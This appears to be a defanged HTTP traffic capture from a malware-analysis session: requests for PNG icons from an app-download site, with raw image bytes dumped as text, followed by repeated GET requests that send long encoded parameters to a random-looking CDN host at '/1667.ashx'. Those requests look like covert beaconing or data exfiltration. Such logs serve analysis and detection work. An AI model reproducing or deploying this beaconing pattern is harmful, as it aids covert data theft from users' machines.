p.did:3212C012122068118A6DE6ECBB0B76D8" xmpMM:DocumentID="xmp.did:1AA1
385C0AE811E286AAD4663D41448D" xmpMM:InstanceID="xmp.iid:1AA1385B0AE811
E286AAD4663D41448D" xmp:CreatorTool="Adobe Photoshop CS5.1 Macintosh"&
gt; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:FB41A5FD2B2068118D
BB8B5619EC708E" stRef:documentID="xmp.did:3212C012122068118A6DE6ECBB0B
76D8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>
; <?xpacket end="r"?>9..U..1;IDATx...{...U....w>............i
L.......B.@".JK....U...)...ZEj...UT..I..F..ID......B....s`<.o.....|
...z.s....Y...........~..^k].Z...p.....;..}{:t.....3..uk.......92....5
...Mw....{...i{{{~..^?.;vl>V.W....g.{}...q.=...W....W..............
....\...w.....:O.Y..u.q. ..k..\W.... .....>...8.}.x...{..........}.
.>^.p\.#u.:......s../........x...c..[........^.....9^.V.2.9^}.X5.5~
.{.^...x-|><n..gY?.1s..z.....Q..{..s....zo]..?...s.2..:?.9..r|r.
....^8..,37rO... ..1..r..39...^...?.Q.S.I. ....x|>..\s.b=....!.
<<< skipped >>>

GET /thumbnails/icon/images/assets/b/b/bbbde9554589bda63791709a6785e0a3.png HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=01fnp9vcg08u4tvg037tpffer5



.U....y..|O.11......^..C..0..k.......~.1Q<-i)7..9.3.)...z..'S.?.k*c
B.0.......\.X.'H.<$.R.y..7..3....wo..k...5e.T....h......;>.Z&/.|
0 ..O....W...|..5|o................}.~z.H.5T..A.GB6.0.]..H.R.P.B..E.nc
.bf~E..T..}..I.L.,....S..6.....-.A[,PK..[l.Klx[..%..-z.X.....=W9......
.I....7..$..Z.UcMb.....&...yf. #c.#..u~.....(.WX..._...qt1.r.....R./`.
O....4.....x.l....<%'.#...{`=........*.B(|G.o.......|y.....'l....|N
.;..;.....*.e...........0E^8....2.J7X.V..r..P...`..k;<. ..D..Vy..z.
./..7.........'..{...$O...~.,.u$.D.J$@..:..c..i...kr.7)=..o.......^g..
..."...E......59n.....]n...............MJK.$,MQM.'x..z..Adk.K...X.zy.h
..O-...r......K...YZ..?.....rK.1~.. ..Ze~..*.~.X..sI.9..gt.3......1X..
yi..6?C,.J.. ....c..fyLr...l......C..c..E....o..Û......-.....K..sR.{
-.d.B..:..F`=...(..^A^.O.P.:....D........Q=S!o.....pJ4E...~.../.._...Z
.....e}x. ......H.....[..|.....(..MJ$.$...~W._.{.)Z.$z._.?*..$...#...W
.O2......./...G......eq.`......p....,I......wx..#..IK.2^.H)...n.0.X...
..)..)6.%-Oq....),MKXt.0..&.!...t.@.;.3..lw5&(.4..HO.....P.........,..
.........:....(........f.g.?.....G..t.......h....1Mo~..i....#%e....y..
.0..<Qc.T....=>A...[%. ..T.^W.^.I.x.D..*.K.y.e1n.Y./o=...... ..X
..0.~.D.J......2&<V..*.7!.z.....i...'..?r....=OX.;..O.'l..fK.%.....
H.|..b.yqy....= .>P..EN...%.W")...p..:....d...$C..........No>.u.
....).... .......L..N.>[email protected]......,G9..x..(.;.5.
.LQ...S..2!`.>[email protected]=..^.SJ.9.q.....-O"-qiiRa.S
..R....y...c..7..R-...(,CiI6.C.s.g4A...S..1.o...]O..SBh.Y.~'..Gll.
<<< skipped >>>

GET /thumbnails/icon/images/assets/7/d/7d4f668f3d1818d01b6b9684b669d0db.png HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=01fnp9vcg08u4tvg037tpffer5


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:29:35 GMT
Content-Type: image/png
Content-Length: 98253
Last-Modified: Sun, 28 Jul 2013 10:29:06 GMT
Connection: keep-alive
ETag: "51f4f272-17fcd"
Expires: Wed, 15 Apr 2015 02:59:35 GMT
Cache-Control: max-age=1800
Accept-Ranges: bytes
.PNG........IHDR...,...,.....y}.u....sBIT....|.d... .IDATx...y.m.U....
=.s.}[email protected].`CpD..J....$.2D).e.....bp..!.`[b(...B...Zj..
.o...;.aO.1.......O.#..}V..{.y..i.......o..X.*V..U.b..X.*V..U.b..X.*V.
.U.b..X.*V..U.b..).}...*.$.....%../...b._P........X......}..|@........
.......~........p.~..?...v....C..s...<...>.sX.*...../G..Pnu=....
|...x.o^...b....c([email protected] .[.
..`}..V..qpb......H2."[email protected]......~.M.s<..z.....D.e.@`.E..
...X.....p..<....8...u38}!..*."..........8.0"[email protected].*.(..*(..!T..
_....l._.~.....z. .<....g3.....w.~.m....q..s.. ....{xx..p0..c.4....
...?..Gz..@.~|z.. .;u...yfY..{..s.z'.33.9....5u.9.....$].W..l..c..g..V
<.S,[email protected]/....L..................v..y!.:c....>D
.)yB)%.......p."F*......CH..A.....u....!D.[3s....B.1..~q.`w...........
....>.`. .... ..*.9wKc,....\[email protected]...*..B...?....7.k#@U.T
....V..|o.T ...i....o......g.:}..R.O.X.>.*[email protected]..
..1.......s..YJ.....\p.t..8..`...........#B.`.#...9.s.....M....^.r....
.}z.......f .q.\!.={........-.........v.'........g.....S..@......../}.
\......5../.i..y...r........s.........}......'....P2`M........5l.!8...
..........3@0..,.u.M... .1..RI..b*N....CJ..4.w...J.q.!%.c`\ .sp).8....
...B).!`........m{qk{..k.;.>r...............JJ.9.}.v.s...=..7......
........_F...*...../][email protected]..}..K3........?......7...O...<.`
.A.\.o[D....]..v=.1...Y.g..s...1...eI)!..s..s.)..w.".,. [email protected]..&
lt;.R.!.q*......`.eU.q...t.C..Ke....8...eUAe.`.B....3.....7..u....
<<< skipped >>>

GET /thumbnails/icon/images/assets/5/2/52d5414e7372639389ab7e9e4d479aee.png HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=01fnp9vcg08u4tvg037tpffer5



.kv......2*0J...M....X....`.."..........5;........p..YK.0F..6...u@.%.h
..Q.....i.!h....J..=B..........Ly.?x"@C`{k.].....7.o#...;..lq......r..
n}.....~$CC...\.... ...A..Y......Xw...m..0.j........-...[......*...}.E
.D.....%.M...y{..G~=.k$.V"[email protected].^seD.....?N.....&G.q.\...}.
mJ..az.....d;.7..'..l..t..w....M.mA.....$...<..D......L......Z..Y.R
....x..$..x..d1...G@.&.0..t8I.._t..d@A@.`/8...4n.T...7L.......(..'n.J.
....N.3..:........!.5......U.2W.....Y......q......}.!..*IY1[7a..-$.k..
[email protected]../..]..8dh.S...d.R.x..4......]..M`..<p.>.
...>L..H..8...y....*IS.".:...W.....oJ.?.B-y@.%[tYD{}2MI.hd...=%.:.n
[email protected].(......f..I&.N....t8..5A..d.........993o,./z...f..,.......
C.t....w\..K....`3....;^...pl..f}....<.......w.J^..Z.........*..d..
..;n.|X..O~.;..0"...j..D......R.....>5.m..........1y.:>q.4y.`...
.'.:...^3....I{l.....n..=.}.Q....,.p..t.....H....Lv$.=$........t8..U.R
1....B5j......e.1.....s......j..,...A.T.,Zg....F9..X..s..#......9..R..
h....$...F7...;.w....y../_....|............7>SH.O....|.t....Y.k....
............k...=i.`X..J).DYmK...`..\..\2.?Q{1^...{.$...c..h....F/....
h............'..^.$ ......._\.~j...=w..o..Aj....dB..n.6..e.J....T2...W
.:(..n..E. ..........# ...*.^..`....q.Zo...$!~k.o........A..H.....(.hw
........L.G.."|aB.<v.....w..j%...e..V.#....$....HJZL.e..R...3.b./..
#...&-.........9...=..P2..c.pj..fhu.K.5i<..A9Kf....M0.~^.[.0%>..
..P....(a....!y.gMw.. S...:?......g@V. . .UT].v..1......<...A...'M#
[email protected].. `...c....)06^.........cs........:.[8...fr...c.p
<<< skipped >>>

GET /thumbnails/icon/images/assets/a/c/ac5196fbf245580eee113296dff14d0b.png HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=01fnp9vcg08u4tvg037tpffer5


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:29:35 GMT
Content-Type: image/png
Content-Length: 154830
Last-Modified: Thu, 13 Jun 2013 17:45:49 GMT
Connection: keep-alive
ETag: "51ba054d-25cce"
Expires: Wed, 15 Apr 2015 02:59:35 GMT
Cache-Control: max-age=1800
Accept-Ranges: bytes
.PNG........IHDR.....................pHYs................ cHRM..m...s.
...u......z....g..0[....P.W...\TIDATx...o.^Ev....R.....h...h4......a0.
....L..,K0...L.!.....b..!....B.K0fYB0&,a.a.a....h.Y ..v..h5.Y#...hZ.U.
..m..{..9u.G....y...~.{...S.|......B..)R.H."E..)R.H."E.....(R.H."E..)R
.H."E..P.H."E..)R.H."E..).@."E..)R.H."E..)R...E..)R.H."E..)R.H....)R.H
."E..)R.H."E..P.H."E..)R.H."E..).@."E..)R.H."E..)R...E..)R.H."E..)R.H.
...)R.H."E..)R.H."..(R.H."E..)R.H."E....H."E..)R.H."E..)R.."E..)R.H."E
..)R.H....)R.H."E..)R.H."..(R.H."E..)R.H."E....H."E..)R.H."E..)R.."E..
)R.H."E..)R.H....)R.H."E..)R.H....)R.H."E..)R.H."E..P.H."E..)R.H."E..)
.@."E..)R.H."E..)R...E..)R.H."E..)R.H....)R.H."E..)R.H."E..P.H."E..)R.
H."E..).@."E..)R.H."E..)R...E..)R.H."E..)R.H....)R.H."E..)R.H."..(R.H.
"E..)R.H."E....H."E..)R.H."E..)R.."E..)R.H."E..)R.H....)R.H."E..)R.H."
..(R.H."E..)R.H."E....H."E..)R.H."E..)R.."E..)R.H."E..)R.H....)R.H."E.
.)R.H....)R.H."E..)R.H."E..P.H."E..)R.H."E..).@."E..)R.H."E..)R...E..)
R.H."E..)R.H....)R.H."E..)R.H."E..P.H."E..)R.H."E..).@."E..)R.H."E..)R
...E..)R.H."E..)R.H....)R.H."E..)R.H."..(R.H."E..)R.H."E....H."E..)R.H
."E..)R.."E..)R.H."E..)R.H....)R.H."E..)R.H."..(R.H."E..)R.H."E....H."
E..)R.H."E..)R.."E..)R.H."E..)R...E..)R.H."E..)R.H..w.*]..%.N...|...,.
4\].U...uMu=..^R.....7V?WWn...T.......zju=...W{..a..`.H."E..)R..K|....
:Y].U...u..n...t/..............|[email protected]..
^\]WU........Y.\)....:Q] ..S9....uau.S].W....._.|m...............e..)R
.H."E.|_.T..........[...l..=..WV.3.keO..H....... .8.....Wx.....Z..
<<< skipped >>>

GET /thumbnails/icon/images/assets/7/c/7c9d412c730603d1d82b98a548a71bac.png HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=01fnp9vcg08u4tvg037tpffer5



.....=`=~t..R_uu........_Q....X.U.4I....}./.....U...3`..ij)....&.*@N:.
|.....`...@. f........ d.\..0_.z7Y..~7U.FU.]..~.k..U.<}zh.....y..7O
.S.X<[email protected]........,..)r..D....`.@(.Y..-s.=.E.z
.h ..n......U....g.'@..I.. .S.....4.Y..V|.[...: C.}...r..V..*..N4Kl_?.
M.W......H .,........4..s.0U..g..k......d........N.]...?......L..8N..z
o........ ...x..).gt.2...4t...#4.D..>.r..8..&.:bF.;...yl\.%..9UI...
.b)t.a9.Q..\...`.6.c.(..@[p...;..Y......<9.01.X`.j...7..J.. .:p..|.
./..)A..<...p..%Y..y.....B.w(c..].......X..>...5..==..;...g]_...
....E.;v....:=.....`..t5Do...0........\.#w..[.....*i.p([email protected]](b.....:f.
....(.........!......X_.>...o.JqV.......8.26P.f..0 [email protected]?.
..T ..3W........p...k.,'p".<mD2X.cI.....,[email protected]?.:-'...*R..d.[.`
.E.:......q.....$....>...].....0.z.].I7&.....c.*..Z.........jS].<
;_g<...x..........H...n...]...ls.....s.^,e.....j_..o[.b.....VS,X.y.
Y...7..f..i.k.1Wg0nLT.U.&% .,.%LC...j..L.....#..4.....=q..,.....\....i
_...t#z.Pp0..z\A.DT..:..^(al.hp...yq..}.R......6..f.4m.B=!.....X.W....
#>$.[..YK.....C<[email protected]......^..1.......1.E.......`..Oj/..~.w.
../.@.@i..}G.......w....G..........n#...$.d.,[email protected]
Y..(......,5.A..../...I.....).t.../.~.s$.....L.c..g......a.....Q....u.
..M>?A. ....L?#..1........f@t....*.>W.\.E..|....v.....6.......ed
z..().e...o........sZ....@97e{..$...(...5.....:..!......6.>...~(...
,A.xu}....-.E.p....O.......}.|%..Q...!M.a%..f@_.......Z.5....?...E/Ki.
.........D..k......3..D.K.....'..Y.d~.<._.....V:.7e.`,..B2..DnT
<<< skipped >>>

GET /images/3.5stars.jpg HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=01fnp9vcg08u4tvg037tpffer5

GET /thumbnails/icon/images/assets/c/c/cc3148e57a2928cd1ada1bbea553c3c2.png HTTP/1.1
Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=01fnp9vcg08u4tvg037tpffer5


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:29:36 GMT
Content-Type: image/png
Content-Length: 24626
Last-Modified: Thu, 13 Jun 2013 17:46:11 GMT
Connection: keep-alive
ETag: "51ba0563-6032"
Expires: Wed, 15 Apr 2015 02:59:36 GMT
Cache-Control: max-age=1800
Accept-Ranges: bytes
.PNG........IHDR..............x......tEXtSoftware.Adobe ImageReadyq.e&
lt;...fiTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.0-c061 64.140949, 2010/12/07-10:57:01        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap
/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#"
 xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xm
p.did:9247670438B3E211AC72D899932DBE6B" xmpMM:DocumentID="xmp.did:E7AB
8047C2A611E298A7FDC45846E498" xmpMM:InstanceID="xmp.iid:E7AB8046C2A611
E298A7FDC45846E498" xmp:CreatorTool="Adobe Photoshop CS5.1 Windows">
; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:A2A4978B7FB5E211AC72
D899932DBE6B" stRef:documentID="xmp.did:9247670438B3E211AC72D899932DBE
6B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> 
<?xpacket end="r"?>I.....\bIDATx.....U...O7.....i.h. [email protected].
.......L..$U.8F3&5Ve,M.L.L.8..N......\...7.(c.\@eW.F.n...i......}.\.^.
..........h..g{...V.9r..CEE...=..gU.....u.^...................?C..B...
8.P..F......o.xg.....K..([email protected].}.o`..0(..
....N.D..D(.0............bD.x.4..?..sx oB...Y....=.....:....@....^.F.q
.....X..O)...pd Fq...D.(`[email protected].`...0...........L.........{4.Q.Z ..
.......<.).{@.. . ..i........3A]....SS.....E9....k....L.....`%.....
..........@.@F...<|......).@[email protected][email protected].<....<~....
<<< skipped >>>

GET /thumbnails/icon/images/assets/f/3/f3ad8b396434c21b4c214fd667ee391d.png HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=01fnp9vcg08u4tvg037tpffer5

GET /thumbnails/icon/images/assets/4/4/442a5f30204dd385d17de5848683274f.png HTTP/1.1
Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=01fnp9vcg08u4tvg037tpffer5


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:29:36 GMT
Content-Type: image/png
Content-Length: 240897
Last-Modified: Thu, 13 Jun 2013 17:01:22 GMT
Connection: keep-alive
ETag: "51b9fae2-3ad01"
Expires: Wed, 15 Apr 2015 02:59:36 GMT
Cache-Control: max-age=1800
Accept-Ranges: bytes
.PNG........IHDR..............x......tEXtSoftware.Adobe ImageReadyq.e&
lt;....IDATx...i.m.Q.....s.....I%UI%.*[email protected].{u..G....
...n..1... 0X.B [email protected]...;...33"....$..
0=^.q0.....p.....y ...y..^...?.M.lzL.......&....5.._....~......u!...s.
.\8O......p>.....D8.....M.;M.........c).....p...7.sy:4.czL.....<
.33=..G/.30.3..A.'..........`i5._.....?._.....O...r.H...|g8...}3...1=.
. .8xp.N.<...?"._.......?ra.k......7.|;.r...|&...._2r0=....1..w....
|.tH......N.../..p...yd.>........_w..s.&.1`......{0.......=u.^.G..&
gt;..................8th...3. ...ex.].a.......p.^.......!s.>......@
..L..W...?.?...r.?=.........}.W...._.7..;......=...k.v....\N..W......3
".......?....2'^[email protected].|8..n..czL.W..p`........f...9..;2.........#..
....~................m~.1..a.G../...zL...j=.]....~.......#p.....c}...e
...1.ul .e...S...u.... 3@?.....hM..1=....8....@...=..........?.5k.;9..
v.'....lK.......2="....a....q........#../.....w...?s.a8..K...s}09.p...
.....JJ.....;...........p...5..czL..1=..o.....y..x...`.wi.t...........
.<.6gf.......\....y.t.O..1=.........w...w.D.......i.|{#...f.9....:.
{|DH...k8_3]..czL..q.cye~....]^s~......}U.9y...O. 4..Js..,.w..r8.=]..c
zL..q............/...~u!....l..................0.....czL..C..._....k..
~.7:m.6=..j....q,......).ozL..1=^..r.. .."..R....i.s>n`[.a.]S..E.Q.
?.w..t^M..1=...A.........pde:...!.]..:.W....o!.3.....1=...xq.....r.v".
.-...\.:...".a..m...x9.....>......`{u..k.0Z...........V..k....D....
':.~G../.._....7....7..M`.&%..]..%..d.'~...au...,....P}/...Z..Qy.\
<<< skipped >>>

GET /thumbnails/icon/images/assets/7/e/7e5817bad781bbc2d2e43b350ccb53db.png HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=01fnp9vcg08u4tvg037tpffer5


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:29:36 GMT
Content-Type: image/png
Content-Length: 217582
Last-Modified: Thu, 13 Jun 2013 17:47:22 GMT
Connection: keep-alive
ETag: "51ba05aa-351ee"
Expires: Wed, 15 Apr 2015 02:59:36 GMT
Cache-Control: max-age=1800
Accept-Ranges: bytes
.PNG........IHDR..............x......tEXtSoftware.Adobe ImageReadyq.e&
lt;...diTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap
/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#"
 xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xm
p.did:69AE8E4CEDBDE011AA2CB4DAE993D699" xmpMM:DocumentID="xmp.did:F348
2575C45D11E0B960ACE436CC6F2E" xmpMM:InstanceID="xmp.iid:F3482574C45D11
E0B960ACE436CC6F2E" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> 
<xmpMM:DerivedFrom stRef:instanceID="xmp.iid:45AF5BD856C4E011A303D3
538E659D93" stRef:documentID="xmp.did:69AE8E4CEDBDE011AA2CB4DAE993D699
"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> &l
t;?xpacket end="r"?>..3...N IDATx.....%Uu-~.....4.-.2..5 ...(*Fh.D.
(&.......%.D3......5F.>.8..gP!......TPf.Af.z...n..3.S...N......[...
.{k8g.k..v......czL..1=...[G=...czL..1=..4....czL..1=..4....czL..1=..4
....czL..1=..4....czL..1=..4....czL..1=..4....czL..1=..4....czL..1=..4
....czL..1=..4....czL..1=...x...o.v.Zs.m...............tm.W.==......I.
..{.......{...f.k<.M..a%.G...q..MUU.\..z.js........S..7...k........
...k......].........Lo......~8...7.....;....u{....u}..!.........[.....
o.-[.............1.{.......3.....{m1.E.czL.....~!.....c..5.9..{]..
<<< skipped >>>


GET /1667.ashx?e=LCnUzM5l8JL2b5ZtEYATmB9V9BA5MHOiW1tgKrNy38kDt2EUeZbtRVHmS0Zrngqa/u6z7Uinv/jCvZJfV0k89y4btG OZIk/c453xw7zJVfqR4rzu9tChRWoLVpCM9iEsfUYUM0LESxnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYMiISMf8I5JK HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:28:20 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Wed, 15 Apr 2015 02:28:20 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......


GET /1667.ashx?e=yhrBLBbZM9XWk3RCzFhOxlUYtpyRSfeW7OXLse4BafTbQC nVTu53mZVsyaCUtL6Avy26 fOLXYiOaWqTBqFeebV9s/TXOLcauIrXLinhTKzmHP80WGvKRVWaKclJYCzVR5AawbKoxopJb8t2bI2vOePBktlGtNZxQEru0RuuZR0qbfRkh1l0EPUrOSlnidUd6j7/wRBDsRoqvWX6JwkevDehHIxlAXyb98NyY 3Jv/oKdNf4wHzMP/l0k1T1nn7b588fAguahpqadCmmmNJTNsLyJ aniWV2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2qLXmYbGH27kp4qO3H67cr5ESiZEb8HioL/m6q7jb gwD3G1r3Ayy6ndhsDnEtZjeg== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:28:21 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /1667.ashx?e=N6dOqWm8Q95zRTWqMhK921TMxLPMegp5w7yrMs7NkxmMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK81pGiR8PaLdtKJUPTeLys5eJbSC5HD2R5Sxd2BbP3Hii0ui/9N2YebIUeZLRmueCpr 7rPtSKe/ MK9kl9XSTz3X4l9XCm/Va/SiuwmdYQ9dwenF3E77x/HKYX3Ti/i3YP dzgnUBx9/Wjc3bWflJqtv R58jhZDUvHJC LVSJKV6syuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tRD3Vgt 7MjenOMik3UsmvMFDXRveZhNbG9JBAV13I77J3aOijlzmmBS2VoRMoROqA= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:28:21 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /1667.ashx?e=N6dOqWm8Q95zRTWqMhK921TMxLPMegp5w7yrMs7NkxmMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK81pGiR8PaLdtKJUPTeLys5eJbSC5HD2R5Sxd2BbP3Hii0ui/9N2YebIUeZLRmueCpr 7rPtSKe/ MK9kl9XSTz3X4l9XCm/Va8U4NDWVSf76ATxIUcsgQ wO1MeTElIgRus2zM3OKTsdhhqfTLLUt3A0w03bJUd6M6r6tum2 2Wo8bgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sffRe18ke5PqUolQ9N4vKzl4ltILkcPZHlLF3YFs/ceKLXDQxT8NdYE8= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:28:21 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /1667.ashx?e=N6dOqWm8Q95zRTWqMhK921TMxLPMegp5w7yrMs7NkxmMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK81pGiR8PaLdtKJUPTeLys5eJbSC5HD2R5Sxd2BbP3Hii0ui/9N2YebIUeZLRmueCpr 7rPtSKe/ MK9kl9XSTz3X4l9XCm/Va/GBdpOSxhWVkVmCwhd6chxgZiB55ZFi61JGN3eG3IQ7YqYyeeQ3tOz2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2qLXmYbGH27kp4qO3H67cr5ESiZEb8HioL/m6q7jb gwD3G1r3Ayy6ndhsDnEtZjeg== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:28:22 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /1667.ashx?e=N6dOqWm8Q95zRTWqMhK921TMxLPMegp5w7yrMs7NkxmMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK81pGiR8PaLdtKJUPTeLys5eJbSC5HD2R5Sxd2BbP3Hii0ui/9N2YebIUeZLRmueCpr 7rPtSKe/ MK9kl9XSTz3X4l9XCm/Va/q965piIXltRQC drCF7eFysWDrahxHN1nWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UpCWJl7EWMlLjgYfTZkNMXzWjsRol/wIl8 ASAGXXzEpwXpxcP5HVAo HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:28:22 GMT
